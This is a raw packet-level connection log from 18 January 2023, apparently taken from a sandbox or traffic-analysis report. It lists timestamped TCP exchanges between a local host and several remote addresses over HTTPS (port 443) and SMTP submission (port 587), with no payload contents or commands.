Jan 18, 2023 09:13:41.904046059 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:41.904125929 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:42.118447065 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:42.118483067 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:42.118596077 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:42.118653059 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:42.118697882 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:42.118752956 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:42.118753910 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:42.118777990 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:42.335366964 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:42.335382938 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:42.335453987 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:42.335556984 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:42.335556984 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:42.335617065 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:42.335685968 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:42.335988045 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:42.557482004 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:42.557502985 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:42.557583094 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:42.557725906 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:42.557745934 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:42.557777882 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:42.557812929 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:42.557849884 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:42.779103994 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:42.779136896 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:42.779232025 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:42.779329062 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:42.779356956 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:42.779376984 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:42.779416084 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:42.779665947 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:42.992285013 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:42.992315054 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:42.992409945 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:42.992444038 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:42.992501020 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:42.992531061 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:42.992551088 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:42.992571115 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:42.992594957 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:43.195091009 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:43.195148945 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:43.195192099 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:43.195224047 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:43.195245028 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:43.195272923 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:43.195302963 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:43.404614925 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:43.404634953 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:43.404720068 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:43.407582998 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:43.407650948 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:43.407700062 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:43.407731056 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:43.667983055 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:43.668000937 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:43.668098927 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:43.668214083 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:43.668272972 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:43.668344975 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:43.668345928 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:43.668441057 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:43.864828110 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:43.865022898 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:43.865125895 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:43.865206957 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:44.082638979 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:44.082659006 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:44.082742929 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:44.082801104 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:44.082828045 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:44.082847118 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:44.082907915 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:44.301877975 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:44.301897049 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:44.301968098 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:44.302005053 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:44.302033901 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:44.302048922 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:44.302078962 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:44.302104950 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:44.521163940 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:44.521190882 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:44.521260977 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:44.521378994 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:44.521421909 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:44.521446943 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:44.521521091 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:44.737245083 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:44.737271070 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:44.737351894 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:44.737360001 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:44.737406015 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:44.737468958 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:44.737468958 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:44.737658024 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:44.955670118 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:44.955693007 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:44.955837965 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:44.955943108 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:44.956038952 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:45.172607899 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:45.172633886 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:45.172724962 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:45.172771931 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:45.172836065 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:45.172871113 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:45.172900915 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:45.172934055 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:45.411861897 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:45.411891937 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:45.412051916 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:45.412164927 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:45.412166119 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:45.412166119 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:45.412208080 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:45.412276983 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:45.417505980 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:45.647434950 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:45.647607088 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:45.647614956 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:45.647706985 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:45.647805929 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:45.647902012 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:45.647933006 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:45.647964001 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:45.647991896 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:45.648035049 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:45.648103952 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:45.658844948 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:45.658916950 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:47.734744072 CET	49173	80	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:50.375940084 CET	49175	443	192.168.2.22	64.185.227.155
Jan 18, 2023 09:13:50.376005888 CET	443	49175	64.185.227.155	192.168.2.22
Jan 18, 2023 09:13:50.376076937 CET	49175	443	192.168.2.22	64.185.227.155
Jan 18, 2023 09:13:50.381963015 CET	49175	443	192.168.2.22	64.185.227.155
Jan 18, 2023 09:13:50.382021904 CET	443	49175	64.185.227.155	192.168.2.22
Jan 18, 2023 09:13:50.593578100 CET	443	49175	64.185.227.155	192.168.2.22
Jan 18, 2023 09:13:50.593705893 CET	49175	443	192.168.2.22	64.185.227.155
Jan 18, 2023 09:13:50.613028049 CET	49175	443	192.168.2.22	64.185.227.155
Jan 18, 2023 09:13:50.613063097 CET	443	49175	64.185.227.155	192.168.2.22
Jan 18, 2023 09:13:50.613466978 CET	443	49175	64.185.227.155	192.168.2.22
Jan 18, 2023 09:13:50.822707891 CET	443	49175	64.185.227.155	192.168.2.22
Jan 18, 2023 09:13:50.822763920 CET	49175	443	192.168.2.22	64.185.227.155
Jan 18, 2023 09:13:51.025367975 CET	49175	443	192.168.2.22	64.185.227.155
Jan 18, 2023 09:13:51.025432110 CET	443	49175	64.185.227.155	192.168.2.22
Jan 18, 2023 09:13:51.124214888 CET	443	49175	64.185.227.155	192.168.2.22
Jan 18, 2023 09:13:51.124394894 CET	443	49175	64.185.227.155	192.168.2.22
Jan 18, 2023 09:13:51.124540091 CET	49175	443	192.168.2.22	64.185.227.155
Jan 18, 2023 09:13:51.128101110 CET	49175	443	192.168.2.22	64.185.227.155
Jan 18, 2023 09:14:09.513322115 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:09.547471046 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:09.620074034 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:09.620223045 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:09.654150963 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:09.654859066 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:09.816689014 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:09.819118023 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:09.862719059 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:09.863631964 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:09.925839901 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:09.925865889 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:09.927025080 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:09.970155954 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:09.970180988 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:09.970788002 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.033765078 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.033795118 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.034210920 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.077294111 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.077316999 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.077759981 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.140856981 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.141030073 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.141267061 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.184232950 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.184400082 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.184632063 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.249211073 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.249617100 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.297579050 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.298491001 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.362848997 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.363501072 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.411957026 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.412193060 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.470576048 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.473251104 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.473417044 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.473531008 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.474004030 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.480230093 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.518968105 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.519309044 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.519401073 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.519470930 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.519629955 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.528392076 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.579925060 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.580013037 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.580506086 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.625828028 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.626013041 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.626106977 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.631409883 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.631589890 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.675424099 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.675527096 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.686727047 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.686893940 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.732920885 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.734703064 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.738323927 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.738351107 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.738465071 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.782140970 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.782186031 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.782397985 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.793741941 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.793880939 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.836050987 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.836429119 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.841180086 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.841365099 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.845184088 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.845216036 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.845428944 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.883816957 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.885790110 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.888948917 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.889071941 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.900585890 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.900692940 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.943214893 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.945058107 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.947866917 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.947969913 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.952224016 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.952246904 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.952263117 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.952277899 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.952397108 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.952459097 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.992424965 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.995671988 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.995712042 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.995737076 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.995764017 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.995876074 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.995876074 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:10.995990992 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:10.996870041 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.007493019 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.007550001 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.007678986 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.051887035 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.051939964 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.052171946 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.054435015 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.054595947 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.059164047 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.059237003 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.059292078 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.059427977 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.059448957 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.059484005 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.059493065 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.059570074 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.059578896 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.059650898 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.095434904 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.095757008 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.102468014 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.102549076 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.102581978 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.102711916 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.102780104 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.102782011 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.102816105 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.102850914 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.102931976 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.102977991 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.102979898 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.103055954 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.103074074 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.103138924 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.103257895 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.103288889 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.103355885 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.103414059 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.107346058 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.109458923 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.114639044 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.114681959 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.114733934 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.114765882 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.114800930 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.114929914 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.115005970 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.159364939 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.159410000 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.159446001 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.159478903 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.159591913 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.159591913 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.159645081 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.159650087 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.159681082 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.159754038 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.159754038 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.159784079 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.159821033 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.159876108 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.159888983 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.161200047 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.161334038 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.161339045 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.161379099 CET	587	49177	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.161448956 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.161448956 CET	49177	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.166299105 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.166433096 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.166445971 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.166546106 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.166593075 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.166685104 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.166779995 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.166896105 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.166898012 CET	49176	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:11.166963100 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.167078018 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.167143106 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.167197943 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.167231083 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.167311907 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.167349100 CET	587	49176	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:11.167382002 CET	587	49176	5.249.163.12	192.168.2.22
